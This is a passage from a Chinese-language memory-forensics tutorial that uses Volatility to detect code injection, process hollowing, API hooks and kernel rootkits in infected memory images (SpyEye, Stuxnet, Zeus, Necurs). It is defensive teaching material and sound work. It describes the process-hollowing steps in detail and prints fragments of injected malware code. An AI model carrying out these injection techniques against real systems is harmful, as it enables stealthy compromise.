一个重要的点是,当可执行镜像(如 EXE 或 DLL)正常加载到内存时,操作系统会为该内存区域分配PAGE_EXECUTE_WRITECOPY(WCX)的内存保护。应用程序通常不允许使用像VirtualAllocEx这样的 API 调用来分配具有PAGE_EXECUTE_WRITECOPY保护的内存。换句话说,如果攻击者想要注入 PE 文件(如 EXE 或 DLL)或 shellcode,那么需要分配具有PAGE_EXECUTE_READWRITE(RWX)保护的内存。通常,你会发现很少有内存范围具有PAGE_EXECUTE_READWRITE的内存保护。具有PAGE_EXECUTE_READWRITE保护的内存范围不一定是恶意的,因为程序可能会出于合法目的分配具有该保护的内存。为了检测代码注入,我们可以查找包含PAGE_EXECUTE_READWRITE内存保护的内存范围,并检查和验证其内容以确认是否存在恶意代码。为了帮助你理解这一点,我们来看一个被SpyEye感染的内存映像的例子。该恶意软件将代码注入到合法的explorer.exe进程(pid 1608)中。vadinfo插件显示了在explorer.exe进程中两个具有可疑PAGE_EXECUTE_READWRITE内存保护的内存范围:

$ python vol.py -f spyeye.vmem --profile=Win7SP1x86 vadinfo -p 1608
[REMOVED]
VAD node @ 0x86fd9ca8 Start 0x03120000 End 0x03124fff Tag VadS
Flags: CommitCharge: 5, MemCommit: 1, PrivateMemory: 1, Protection: 6
Protection: PAGE_EXECUTE_READWRITE
Vad Type: VadNone

VAD node @ 0x86fd0d00 Start 0x03110000 End 0x03110fff Tag VadS
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
Protection: PAGE_EXECUTE_READWRITE
Vad Type: VadNone

仅通过内存保护,难以得出前述内存区域是否包含恶意代码的结论。为了确定是否有恶意代码,我们可以转储这些内存区域的内容。要显示内存区域的内容,可以使用volshell插件。以下命令在explorer.exe进程(pid 1608)的上下文中调用volshell(交互式 Python shell)。db命令将转储给定内存地址的内容。要获取帮助信息并显示支持的volshell命令,只需在volshell中输入hh()。使用db命令转储内存地址0x03120000(前面vadinfo输出中的第一个条目)的内容,显示出PE文件的存在。PAGE_EXECUTE_READWRITE的内存保护和 PE 文件的存在明显表明可执行文件并非正常加载,而是被注入到explorer.exe进程的地址空间中:

$ python vol.py -f spyeye.vmem --profile=Win7SP1x86 volshell -p 1608
Volatility Foundation Volatility Framework 2.6
Current context: explorer.exe @ 0x86eb4780, pid=1608, ppid=1572 DTB=0x1eb1a340
Python 2.7.13 (default, Jan 19 2017, 14:48:08)

>>> db(0x03120000)
0x03120000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 MZ..............
0x03120010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......
0x03120020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x03120030 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 ................
0x03120040 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 ........!..L.!Th
0x03120050 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f is.program.canno
0x03120060 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 t.be.run.in.DOS.
0x03120070 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 mode....$.......

有时候,仅显示内存区域的内容不足以识别恶意代码。尤其是当 shellcode 被注入时,这种情况尤为常见。在这种情况下,你需要对内容进行反汇编。例如,如果你使用db命令转储地址0x03110000的内容(这是前面vadinfo输出中的第二个条目),你将看到以下的十六进制转储。从输出来看,很难判断这是否是恶意代码:

>>> db(0x03110000)
0x03110000 64 a1 18 00 00 00 c3 55 8b ec 83 ec 54 83 65 fc d......U....T.e.
0x03110010 00 64 a1 30 00 00 00 8b 40 0c 8b 40 1c 8b 40 08 .d.0....@..@..@.
0x03110020 68 34 05 74 78 50 e8 83 00 00 00 59 59 89 45 f0 h4.txP.....YY.E.
0x03110030 85 c0 74 75 8d 45 ac 89 45 f4 8b 55 f4 c7 02 6b ..tu.E..E..U...k
0x03110040 00 65 00 83 c2 04 c7 02 72 00 6e 00 83 c2 04 c7 .e......r.n.....

如果你怀疑内存区域包含 shellcode,可以在volshell中使用dis命令对给定地址的代码进行反汇编。从以下代码显示的反汇编输出来看,你可能会发现 shellcode 已经被注入到此内存区域,因为它包含有效的 CPU 指令。为了验证内存区域是否包含恶意代码,你需要进一步分析,以确定其上下文。因为注入的代码也可能与合法代码相似:

>>> dis(0x03110000)
0x3110000 64a118000000 MOV EAX, [FS:0x18]
0x3110006 c3           RET
0x3110007 55           PUSH EBP
0x3110008 8bec         MOV EBP, ESP
0x311000a 83ec54       SUB ESP, 0x54
0x311000d 8365fc00     AND DWORD [EBP-0x4], 0x0
0x3110011 64a130000000 MOV EAX, [FS:0x30]
0x3110017 8b400c       MOV EAX, [EAX+0xc]
0x311001a 8b401c       MOV EAX, [EAX+0x1c]
0x311001d 8b4008       MOV EAX, [EAX+0x8]
0x3110020 6834057478   PUSH DWORD 0x78740534
0x3110025 50           PUSH EAX
0x3110026 e883000000   CALL 0x31100ae
[REMOVED]

1.3 转储进程内存区域

在识别到进程内存中的注入代码(PE 文件或 shellcode)后,你可能希望将其转储到磁盘以便进一步分析(例如提取字符串、进行 YARA 扫描或反汇编)。要转储由 VAD 节点描述的内存区域,可以使用vaddump插件。例如,如果你想转储位于地址0x03110000的包含 shellcode 的内存区域,可以提供-b (--base)选项,并跟上基地址,如下所示。如果不指定-b (--base)选项,插件将把所有内存区域转储到单独的文件中:

$ python vol.py -f spyeye.vmem --profile=Win7SP1x86 vaddump -p 1608 -b 0x03110000 -D dump/
Volatility Foundation Volatility Framework 2.6
Pid  Process      Start      End        Result
---- -----------  ---------- ---------- ---------------------------
1608 explorer.exe 0x03110000 0x03110fff dump/explorer.exe.1deb4780.0x03110000-0x03110fff.dmp

一些恶意软件程序使用隐蔽技术来绕过检测。例如,某个恶意软件可能会注入一个 PE 文件,并在加载到内存后擦除 PE 头。在这种情况下,如果你查看十六进制转储,它不会显示 PE 文件的任何迹象;可能需要某些手动分析来验证代码。有关此类恶意软件样本的示例,可以参考一篇名为 "用 Volatility 恢复 CoreFlood 二进制文件" 的博客文章 (mnin.blogspot.in/2008/11/recovering-coreflood-binaries-with.html)。

1.4 使用 malfind 检测注入的代码

到目前为止,我们已经了解了如何使用 vadinfo 手动识别可疑的内存区域。你也已经理解了如何使用 vaddump 转储内存区域。还有另一个 Volatility 插件叫做 malfind,它基于之前讲解的内存内容和 VAD 特征自动化了识别可疑内存区域的过程。在以下示例中,当 malfind 在被 SpyEye 感染的内存镜像上运行时,它会自动识别出可疑的内存区域(包含 PE 文件和 shellcode)。除此之外,它还显示了从基地址开始的十六进制转储和反汇编。如果你没有指定 -p (--pid) 选项,malfind 会识别系统上所有正在运行的进程的可疑内存区域:

$ python vol.py -f spyeye.vmem --profile=Win7SP1x86 malfind -p 1608
Volatility Foundation Volatility Framework 2.6

Process: explorer.exe Pid: 1608 Address: 0x3120000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 5, MemCommit: 1, PrivateMemory: 1, Protection: 6

0x03120000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 MZ..............
0x03120010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......
0x03120020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x03120030 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 ................

0x03120000 4d DEC EBP
0x03120001 5a POP EDX
0x03120002 90 NOP
0x03120003 0003 ADD [EBX], AL
0x03120005 0000 ADD [EAX], AL

Process: explorer.exe Pid: 1608 Address: 0x3110000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6

0x03110000 64 a1 18 00 00 00 c3 55 8b ec 83 ec 54 83 65 fc d......U....T.e.
0x03110010 00 64 a1 30 00 00 00 8b 40 0c 8b 40 1c 8b 40 08 .d.0....@..@..@.
0x03110020 68 34 05 74 78 50 e8 83 00 00 00 59 59 89 45 f0 h4.txP.....YY.E.
0x03110030 85 c0 74 75 8d 45 ac 89 45 f4 8b 55 f4 c7 02 6b ..tu.E..E..U...k

0x03110000 64a118000000 MOV EAX, [FS:0x18]
0x03110006 c3 RET
0x03110007 55 PUSH EBP
0x03110008 8bec MOV EBP, ESP
0x0311000a 83ec54 SUB ESP, 0x54
0x0311000d 8365fc00 AND DWORD [EBP-0x4], 0x0
0x03110011 64a130000000 MOV EAX, [FS:0x30]

2. 调查空洞进程注入

在前面章节中讲解的代码注入技术中,恶意代码被注入到合法进程的进程地址空间中。空洞进程注入(或称 进程空洞化)也是一种代码注入技术,但不同之处在于,在这种技术中,合法进程的进程可执行文件会被恶意可执行文件替换。在进入空洞进程注入的检测之前,先让我们了解一下它是如何工作的。在下一节中将详细介绍空洞进程注入的工作原理。空洞进程注入的详细信息已在 第八章,代码注入与钩子(章节) 中讲解。你还可以查看作者关于空洞进程注入的演示和视频演示 (cysinfo.com/7th-meetup-reversing-and-investigating-malware-evasive-tactics-hollow-process-injection/),以便更好地理解这个主题。

2.1 空洞进程注入步骤

以下步骤描述了恶意软件通常如何执行进程空洞化。假设有两个进程,A 和 B。在这种情况下,进程 A 是恶意进程,进程 B 是合法进程(也称为远程进程),例如 explorer.exe

  • 进程 A 启动合法进程 B,并使其处于挂起模式。结果,进程 B 的可执行区段被加载到内存中,PEB(进程环境块)标识了合法进程的完整路径。PEB 结构中的 ImageBaseAddress 字段指向合法进程可执行文件加载的基地址。

  • 进程 A 获取将要注入远程进程的恶意可执行文件。这个可执行文件可以来自恶意软件进程的资源区段,也可以来自磁盘上的文件。

  • 进程 A 确定合法进程 B 的基址,以便它可以取消映射合法进程的可执行区段。恶意软件可以通过读取 PEB(在我们的例子中是 PEB.ImageBaseAddress)来确定基址。

  • 进程 A 然后解除分配合法进程的可执行区段。

  • 进程 A 然后在合法进程 B 中分配内存,并赋予执行权限。这个内存分配通常是在可执行文件先前加载的相同地址上进行的。

  • 进程 A 然后将恶意可执行文件的 PE 头和 PE 区段写入分配的内存中。

  • 进程 A 然后将挂起线程的起始地址更改为注入的可执行文件入口点的地址,并恢复合法进程的挂起线程。结果,合法进程现在开始执行恶意代码。

Stuxnet 就是一个执行空洞进程注入的恶意软件,它使用上述步骤。具体来说,Stuxnet 在挂起模式下创建了合法的 lsass.exe 进程。结果,lsass.exePAGE_EXECUTE_WRITECOPY(WCX) 保护加载到内存中。此时(空洞前),PEBVAD 都包含有关 lsass.exe 内存保护、基址和完整路径的相同元数据。接着,Stuxnet 将合法进程可执行文件(lsass.exe)空洞化,并在与 lsass.exe 先前加载的相同区域中分配一个具有 PAGE_EXECUTE_READWRITE (RWX) 保护的新内存,随后将恶意可执行文件注入已分配的内存中并恢复挂起的线程。由于空洞化进程可执行文件,它在 VADPEB 之间创建了进程路径信息的不一致,即 PEB 中的进程路径仍然包含 lsass.exe 的完整路径,而 VAD 中则不显示完整路径。此外,空洞前后的内存保护存在不一致:空洞前是 (WCX),空洞后是 (RWX)。下面的图示将帮助你理解空洞前发生的情况,以及空洞化进程后在 PEBVAD 中创建的不一致。

对 Stuxnet 的完整分析,使用内存取证技术,由 Michael Hale Ligh 在以下博客文章中介绍:mnin.blogspot.in/2011/06/examining-stuxnets-footprint-in-memory.html

2.2 检测空洞进程注入

要检测空洞进程注入,可以查看PEBVAD之间的差异,以及内存保护的差异。还可以检查父子进程关系的差异。在下面的Stuxnet示例中,您可以看到系统上有两个lsass.exe进程正在运行。第一个lsass.exe进程(pid 708)的父进程是winlogon.exepid 652),而第二个lsass.exe进程(pid 1732)的父进程(pid 1736)已经终止。根据进程信息,您可以判断pid 1732lsass.exe是可疑进程,因为在干净的系统中,lsass.exe的父进程在 Vista 之前的系统上是winlogon.exe,而在 Vista 及以后的系统上是wininit.exe

$ python vol.py -f stux.vmem --profile=WinXPSP3x86 pslist | grep -i lsass
Volatility Foundation Volatility Framework 2.6
0x818c1558 lsass.exe 708 652 24 343 0 0 2016-05-10 06:47:24+0000 
0x81759da0 lsass.exe 1732 1736 5 86 0 0 2018-05-12 06:39:42

$ python vol.py -f stux.vmem --profile=WinXPSP3x86 pslist -p 652
Volatility Foundation Volatility Framework 2.6
Offset(V) Name          PID PPID Thds Hnds Sess Wow64  Start                
---------- ------------ ---- ---- ---- ---- --- ------ ------------------
0x818321c0 winlogon.exe 652  332  23  521    0      0  2016-05-10 06:47:24

$ python vol.py -f stux.vmem --profile=WinXPSP3x86 pslist -p 1736
Volatility Foundation Volatility Framework 2.6
ERROR : volatility.debug : Cannot find PID 1736\. If its terminated or unlinked, use psscan and then supply --offset=OFFSET

如前所述,通过比较PEBVAD结构,您可以检测到空洞进程注入。dlllist插件从PEB中获取模块信息,显示了lsass.exepid 1732)的完整路径和其加载的基地址(0x01000000)

lsass.exe pid: 1732
Command line : "C:\WINDOWS\\system32\\lsass.exe"
Service Pack 3

Base Size  Load    Count  Path
---------- ------- ------ -------------------------------
0x01000000 0x6000  0xffff C:\WINDOWS\system32\lsass.exe
0x7c900000 0xaf000 0xffff C:\WINDOWS\system32\ntdll.dll
0x7c800000 0xf6000 0xffff C:\WINDOWS\system32\kernel32.dll
0x77dd0000 0x9b000 0xffff C:\WINDOWS\system32\ADVAPI32.dll
[REMOVED]

ldrmodules插件依赖于内核中的 VAD,但没有显示lsass.exe的完整路径名称。由于恶意软件解除映射了lsass.exe进程的可执行部分,完整路径名称不再与地址0x01000000关联:

$ python vol.py -f stux.vmem --profile=WinXPSP3x86 ldrmodules -p 1732
Volatility Foundation Volatility Framework 2.6
Pid  Process   Base       InLoad InInit InMem    MappedPath
---- --------- ---------- ------ ------ ------ ----------------------------
[REMOVED]
1732 lsass.exe 0x7c900000 True  True   True   \WINDOWS\system32\ntdll.dll
1732 lsass.exe 0x71ad0000 True  True   True   \WINDOWS\system32\wsock32.dll
1732 lsass.exe 0x77f60000 True  True   True   \WINDOWS\system32\shlwapi.dll
1732 lsass.exe 0x01000000 True  False  True 
1732 lsass.exe 0x76b40000 True  True   True   \WINDOWS\system32\winmm.dll
[REMOVED]

由于恶意软件通常会在空洞化并注入可执行文件之前,分配具有PAGE_EXECUTE_READWRITE权限的内存,因此可以查找该内存保护。malfind插件在同一地址(0x01000000)识别到可疑的内存保护,这正是可执行文件lsass.exe被加载的地方:

Process: lsass.exe Pid: 1732 Address: 0x1000000
Vad Tag: Vad Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 2, Protection: 6

0x01000000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 MZ..............
0x01000010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......
0x01000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x01000030 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 ................

0x01000000 4d DEC EBP
0x01000001 5a POP EDX
0x01000002 90 NOP

如果您希望将malfind检测到的可疑内存区域转储到磁盘,您可以指定-D,后跟目录名,将所有可疑的内存区域转储到该目录。

2.3 空洞进程注入变种

在以下示例中,我们将介绍一个名为Skeeyah的恶意软件,它以略微不同的方式执行空洞进程注入。这是与第八章中介绍的相同样本,代码注入和钩子(第 3.6 节 空洞进程注入)。以下是Skeeyah执行的步骤:

  • 它以挂起模式启动svchost.exe进程。结果,svchost.exe被加载到内存中(在此案例中,加载到地址0x1000000)。

  • 它通过读取PEB.ImageBaseAddress确定svchost.exe的基地址,然后释放svchost.exe的可执行部分。

  • 它并没有在svchost.exe之前加载的相同区域(0x1000000)分配内存,而是分配了一个不同的地址0x00400000,并且具有readwriteexecute权限。

  • 它随后用新分配的地址0x00400000覆盖了svchost.exe进程的PEB.ImageBaseAdress。这将svchost.exePEB中的基地址从0x1000000更改为0x00400000(该地址包含注入的可执行文件)。

  • 然后,它将挂起线程的起始地址更改为注入的可执行文件入口点的地址,并恢复该线程。

下图显示了进程空洞化前后的差异。具体来说,空洞化后的 PEB 认为svchost.exe被加载到0x00400000。之前表示svchost.exe(加载地址为0x1000000)的VAD节点不再存在,因为当恶意软件将svchost.exe进程可执行文件空洞化时,相关的条目已从VAD树中移除:

要检测这种空洞进程注入变种,可以遵循相同的方法论。根据空洞进程注入的执行方式,结果会有所不同。进程列表显示了多个svchost.exe进程实例,这是正常的。除了最后一个svchost.exe (pid 1824),所有svchost.exe进程的父进程都是services.exepid 696)。在干净的系统上,所有svchost.exe进程都是由services.exe启动的。当你查看svchost.exepid 1824)的父进程时,你会发现其父进程已终止。根据进程信息,你可以判断最后一个svchost.exe (pid 1824)是可疑的:

$ python vol.py -f skeeyah.vmem --profile=WinXPSP3x86 pslist | grep -i svchost
Volatility Foundation Volatility Framework 2.6
0x815cfaa0 svchost.exe  876  696  20  202  0 0 2016-05-10 06:47:25
0x818c5a78 svchost.exe  960  696   9  227  0 0 2016-05-10 06:47:25
0x8181e558 svchost.exe 1044  696  68  1227 0 0 2016-05-10 06:47:25
0x818c7230 svchost.exe 1104  696   5  59   0 0 2016-05-10 06:47:25
0x81743da0 svchost.exe 1144  696  15  210  0 0 2016-05-10 06:47:25
0x817ba390 svchost.exe 1824 1768   1  26   0 0 2016-05-12 14:43:43

$ python vol.py -f skeeyah.vmem --profile=WinXPSP3x86 pslist -p 696
Volatility Foundation Volatility Framework 2.6
Offset(V)  Name         PID PPID Thds Hnds Sess Wow64  Start  
---------- ------------ --- ---- ---- ---- ---- ------ --------------------
0x8186c980 services.exe 696 652   16  264   0    0     2016-05-10 06:47:24

$ python vol.py -f skeeyah.vmem --profile=WinXPSP3x86 pslist -p 1768
Volatility Foundation Volatility Framework 2.6
ERROR : volatility.debug : Cannot find PID 1768\. If its terminated or unlinked, use psscan and then supply --offset=OFFSET

依赖于PEBdlllist插件显示了svchost.exepid 1824)的完整路径,并报告基地址为0x00400000

$ python vol.py -f skeeyah.vmem --profile=WinXPSP3x86 dlllist -p 1824
Volatility Foundation Volatility Framework 2.6
************************************************************************
svchost.exe pid: 1824
Command line : "C:\WINDOWS\system32\svchost.exe"
Service Pack 3

Base       Size    LoadCount  Path
---------- ------- ---------- ----------------------------------
0x00400000 0x7000   0xffff     C:\WINDOWS\system32\svchost.exe
0x7c900000 0xaf000  0xffff     C:\WINDOWS\system32\ntdll.dll
0x7c800000 0xf6000  0xffff     C:\WINDOWS\system32\kernel32.dll
[REMOVED]

另一方面,依赖于内核中的VADldrmodules插件并未显示svchost.exe的任何条目,如下图所示:

malfind显示在地址0x00400000存在一个 PE 文件,并且具有可疑的内存保护PAGE_EXECUTE_READWRITE,这表明该可执行文件是被注入的,而不是正常加载的:

$ python vol.py -f skeeyah.vmem --profile=WinXPSP3x86 malfind -p 1824
Volatility Foundation Volatility Framework 2.6
Process: svchost.exe Pid: 1824 Address: 0x400000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 7, MemCommit: 1, PrivateMemory: 1, Protection: 6

0x00400000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 MZ..............
0x00400010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......
0x00400020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x00400030 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 ................

0x00400000 4d DEC EBP
0x00400001 5a POP EDX
[REMOVED]

攻击者使用不同变种的空洞进程注入来绕过、偏转和转移取证分析。有关这些规避技术的详细信息,以及如何使用自定义 Volatility 插件来检测它们,请观看作者在 Black Hat 上的演讲:“恶意软件作者不希望你知道的——空洞进程注入的规避技巧”youtu.be/9L9I1T5QDg4)。另外,你也可以阅读作者的博客文章,链接如下:cysinfo.com/detecting-deceptive-hollowing-techniques/

3. 检测 API 钩子

在将恶意代码注入目标进程后,恶意软件可以挂钩目标进程的 API 调用,以控制其执行路径并将其重定向到恶意代码。挂钩技术的详细内容在第八章中讨论,代码注入与挂钩(在挂钩技术部分)。在本节中,我们将主要关注如何使用内存取证技术检测此类挂钩技术。为了识别进程和内核内存中的 API 挂钩,可以使用 apihooks Volatility 插件。在以下Zeus bot的示例中,一个可执行文件被注入到 explorer.exe 进程的内存中,地址为 0x2c70000,这一点通过 malfind 插件检测到:

$ python vol.py -f zeus.vmem --profile=Win7SP1x86 malfind

Process: explorer.exe Pid: 1608 Address: 0x2c70000
Vad Tag: Vad Protection: PAGE_EXECUTE_READWRITE
Flags: Protection: 6

0x02c70000 4d 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 MZ..............
0x02c70010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x02c70020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x02c70030 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 ................

在以下输出中,apihooks 插件检测到用户模式 API HttpSendRequestA(在 wininet.dll 中)的挂钩。被挂钩的 API 随后被重定向到地址 0x2c7ec48(挂钩地址)。挂钩地址位于注入的可执行文件(挂钩模块)的地址范围内。挂钩模块的名称未知,因为它通常不是从磁盘加载的(而是被注入的)。具体来说,在 API 函数 HttpSendRequestA 的起始地址(0x753600fc)处,有一条跳转指令,将 HttpSendRequestA 的执行流重定向到注入可执行文件中的地址 0x2c7ec48

$ python vol.py -f zeus.vmem --profile=Win7SP1x86 apihooks -p 1608

Hook mode: Usermode
Hook type: Inline/Trampoline
Process: 1608 (explorer.exe)
Victim module: wininet.dll (0x752d0000 - 0x753c4000)
Function: wininet.dll!HttpSendRequestA at 0x753600fc
Hook address: 0x2c7ec48
Hooking module: <unknown>

Disassembly(0):
0x753600fc e947eb918d   JMP 0x2c7ec48
0x75360101 83ec38       SUB ESP, 0x38
0x75360104 56           PUSH ESI
0x75360105 6a38         PUSH 0x38
0x75360107 8d45c8       LEA EAX, [EBP-0x38]

4. 内核模式根套件

像根套件这样的恶意程序可以加载一个内核驱动程序,在内核模式下运行代码。一旦它在内核空间中运行,就可以访问操作系统的内部代码,监控系统事件,通过修改内部数据结构、挂钩函数和修改调用表来规避检测。内核模式驱动程序通常具有 .sys 扩展名,并驻留在 %windir%\system32\drivers 目录下。内核驱动程序通常通过创建一个内核驱动程序服务(如第七章中描述的,恶意软件功能与持久性,服务*部分)来加载。

Windows 实施了各种安全机制,旨在防止内核空间中未经授权的代码执行。这使得 rootkit 难以安装内核驱动程序。在 64 位 Windows 上,微软实施了内核模式代码签名(KMCS),要求内核模式驱动程序在加载到内存中时必须经过数字签名。另一个安全机制是内核补丁保护(KPP),也称为PatchGuard,它防止对核心系统组件、数据结构和调用表(如 SSDT、IDT 等)的修改。这些安全机制对大多数 rootkit 有效,但同时迫使攻击者提出先进技术,使他们能够安装未签名驱动程序并绕过这些安全机制。一种方法是安装Bootkit。Bootkit 感染系统启动过程的早期阶段,甚至在操作系统完全加载之前。另一种方法是利用内核或第三方驱动程序的漏洞来安装未签名驱动程序。在本章的其余部分,我们将假设攻击者已经成功安装了内核模式驱动程序(使用Bootkit或利用内核级漏洞),并且我们将专注于内核内存取证,这涉及识别恶意驱动程序。

在一个干净的 Windows 系统上,你会发现数百个内核模块,因此找到恶意内核模块需要一些工作。在接下来的章节中,我们将看一些常见的定位和提取恶意内核模块的技术。我们将从列出内核模块开始。

5. 列出内核模块

要列出内核模块,你可以使用modules插件。该插件依赖于遍历由PsLoadedModuleList指向的元数据结构(KLDR_DATA_TABLE_ENTRY)的双向链表(这种技术类似于遍历_EPROCESS结构的双向链表,如第十章,使用内存取证猎杀恶意软件,在理解 ActiveProcessLinks部分中描述)。列出内核模块可能并不总是帮助你从加载的数百个内核模块中识别出恶意内核驱动程序,但它可以用于发现可疑指标,例如内核驱动程序具有奇怪的名称,或者内核模块从非标准路径或临时路径加载。modules插件按照加载顺序列出内核模块,这意味着如果最近安装了 rootkit 驱动程序,你很可能会在列表的末尾找到该模块,前提是该模块没有被隐藏并且在获取内存镜像之前系统没有重新启动。

在下面的受Laqma rootkit 感染的内存映像示例中,模块列表显示了位于列表末尾的恶意驱动程序Laqmalanmandrv.sys,该驱动程序来自C:\Windows\System32目录,而大多数其他内核驱动程序则加载自*S*ystemRoot\System32\DRIVERS\*。从列表中还可以看到,核心操作系统组件,如 NT 内核模块(ntkrnlpa.exentoskrnl.exe)和硬件抽象层(hal.dll)最先加载,然后是启动驱动程序(如kdcom.dll),它们会在启动时自动启动,接着是其他驱动程序:

$ python vol.py -f laqma.vmem --profile=Win7SP1x86 modules
Volatility Foundation Volatility Framework 2.6
Offset(V)  Name          Base       Size     File
---------- ------------  ---------- -------- ---------------------------------
0x84f41c98 ntoskrnl.exe 0x8283d000 0x410000 \SystemRoot\system32\ntkrnlpa.exe
0x84f41c20 hal.dll      0x82806000 0x37000  \SystemRoot\system32\halmacpi.dll
0x84f41ba0 kdcom.dll    0x80bc5000 0x8000   \SystemRoot\system32\kdcom.dll
[REMOVED]
0x86e36388 srv2.sys     0xa46e1000 0x4f000  \SystemRoot\System32\DRIVERS\srv2.sys
0x86ed6d68 srv.sys      0xa4730000 0x51000  \SystemRoot\System32\DRIVERS\srv.sys
0x86fe8f90 spsys.sys    0xa4781000 0x6a000  \SystemRoot\system32\drivers\spsys.sys
0x861ca0d0 lanmandrv.sys 0xa47eb000 0x2000  \??\C:\Windows\System32\lanmandrv.sys

由于遍历双向链表容易受到 DKOM 攻击(详见第十章,《使用内存取证狩猎恶意软件》第 4.2.1 节 直接内核对象操作(DKOM)),因此可以通过解除链接来隐藏内核驱动程序。为了解决这个问题,可以使用另一个名为modscan的插件。modscan插件依赖于池标签扫描方法(详见第十章,《使用内存取证狩猎恶意软件》**第 4.2.2 节 理解池标签扫描)。换句话说,它扫描物理地址空间,寻找与内核模块相关的池标签(MmLd)。通过池标签扫描,它可以检测到未链接的模块和先前加载的模块。modscan插件按照在物理地址空间中找到的顺序显示内核模块,而不是按加载顺序显示。在下面的Necurs rootkit 示例中,modscan插件显示了恶意内核驱动程序(2683608180e436a1.sys),其名称完全由十六进制字符组成:

$ python vol.py -f necurs.vmem --profile=Win7SP1x86 modscan
Volatility Foundation Volatility Framework 2.6
Offset(P)          Name                 Base       Size   File
------------------ -------------------- ---------- ------ --------
0x0000000010145130 Beep.SYS             0x880f2000 0x7000 \SystemRoot\System32\Drivers\Beep.SYS
0x000000001061bad0 secdrv.SYS           0xa46a9000 0xa000 \SystemRoot\System32\Drivers\secdrv.SYS
0x00000000108b9120 rdprefmp.sys         0x88150000 0x8000 \SystemRoot\system32\drivers\rdprefmp.sys
0x00000000108b9b10 USBPORT.SYS          0x9711e000 0x4b000 \SystemRoot\system32\DRIVERS\USBPORT.SYS
0x0000000010b3b4a0 rdbss.sys            0x96ef6000 0x41000 \SystemRoot\system32\DRIVERS\rdbss.sys
[REMOVED]
0x000000001e089170 2683608180e436a1.sys 0x851ab000 0xd000 \SystemRoot\System32\Drivers\2683608180e436a1.sys
0x000000001e0da478 usbccgp.sys          0x9700b000 0x17000 \SystemRoot\system32\DRIVERS\usbccgp.sys

当你运行modules插件来检查受Necurs rootkit 感染的内存映像时,它不会显示那个恶意驱动程序(2683608180e436a1.sys):

$ python vol.py -f necurs.vmem --profile=Win7SP1x86 modules | grep 2683608180e436a1

由于modscan使用池标签扫描方法,可以检测已卸载的模块(前提是内存没有被覆盖),因此恶意驱动程序2683608180e436a1.sys可能已经被快速加载和卸载,或者它被隐藏了。为了确认驱动程序是否已卸载或隐藏,你可以使用unloadedmodules插件,它会显示已卸载模块的列表以及每个模块被卸载的时间。在以下输出中,恶意驱动程序2683608180e436a1.sys的缺失表明该驱动程序未被卸载,它被隐藏了。从以下输出中,你可以看到另一个恶意驱动程序2b9fb.sys,它曾被快速加载和卸载(在modulesmodscan列出的模块中没有显示,如以下代码所示)。unloadedmodules插件在调查过程中可以证明有用,帮助检测 rootkit 快速加载和卸载驱动程序的尝试,以使其不出现在模块列表中:

$ python vol.py -f necurs.vmem --profile=Win7SP1x86 unloadedmodules
Volatility Foundation Volatility Framework 2.6
Name              StartAddress EndAddress Time
----------------- ------------ ---------- -------------------
dump_dumpfve.sys  0x00880bb000 0x880cc000 2016-05-11 12:15:08 
dump_LSI_SAS.sys  0x00880a3000 0x880bb000 2016-05-11 12:15:08 
dump_storport.sys 0x0088099000 0x880a3000 2016-05-11 12:15:08 
parport.sys       0x0094151000 0x94169000 2016-05-11 12:15:09 
2b9fb.sys         0x00a47eb000 0xa47fe000 2018-05-21 10:57:52 

$ python vol.py -f necurs.vmem --profile=Win7SP1x86 modules | grep -i 2b9fb.sys
$ python vol.py -f necurs.vmem --profile=Win7SP1x86 modscan | grep -i 2b9fb.sys

5.1 使用 driverscan 列出内核模块

列出内核模块的另一种方法是使用driverscan插件,如以下代码所示。driverscan插件从名为DRIVER_OBJECT的结构中获取与内核模块相关的信息。具体来说,driverscan插件通过池标签扫描来查找物理地址空间中的驱动程序对象。第一列Offset(P)指定了找到DRIVER_OBJECT结构的物理地址,第二列Start包含模块的基地址,Driver Name列显示驱动程序的名称。例如,驱动程序名称\Driver\BeepBeep.sys相同,最后一行显示与Necurs rootkit 相关的恶意驱动程序\Driver\2683608180e436a1driverscan插件是列出内核模块的另一种方法,当 rootkit 试图隐藏在modulesmodscan插件下时,这种方法非常有用:

$ python vol.py -f necurs.vmem --profile=Win7SP1x86 driverscan
Volatility Foundation Volatility Framework 2.6
Offset(P)           Start     Size   Service Key  Name   Driver Name
------------------ --------  ------- ----------- ------ -----------
0x00000000108b9030 0x88148000 0x8000  RDPENCDD  RDPENCDD \Driver\RDPENCDD
0x00000000108b9478 0x97023000 0xb7000 DXGKrnl   DXGKrnl  \Driver\DXGKrnl
